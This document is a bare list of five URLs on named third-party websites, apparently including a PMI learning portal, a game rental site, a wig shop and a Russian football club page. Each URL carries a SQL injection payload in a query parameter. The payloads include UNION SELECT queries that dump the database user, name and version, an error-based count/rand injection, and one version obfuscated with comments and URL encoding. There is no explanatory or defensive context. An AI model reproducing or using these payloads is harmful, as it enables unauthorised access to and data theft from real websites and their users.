http://learning.pmi.org/course-detail.php?id=-3582+union+select+all+1,concat(user(),0x3a,database(),0x3c62723e,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+limit+0,1--

https://www.playonrent.com/gameDetails.php?id=137 and (select 1 from(select count(*),concat((select user() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://www.e-wigs.com/wigs.php?id=-1773 UNION SELECT 1,2,3,4,5,concat(user(),0x3a,database(),0x3c62723e,version()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27  limit 0,1

http://www.e-wigs.com/wigs.php?id=-1773/*!union*//*!12345%73%65%6c%65%63%74*/1,2,3,4,5,concat%28user%28%29%2C0x3a%2Cdatabase%28%29%2C0x3c62723e%2Cversion%28%29%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from information_schema.columns  where TABLE_schema=database%28%29 limit 0,1

http://www.fckhimki.ru/modules/players/index_d.php?current_id=15&player_id=-111+union+select+1,2,3,4,version(),6,7,8,9,10 --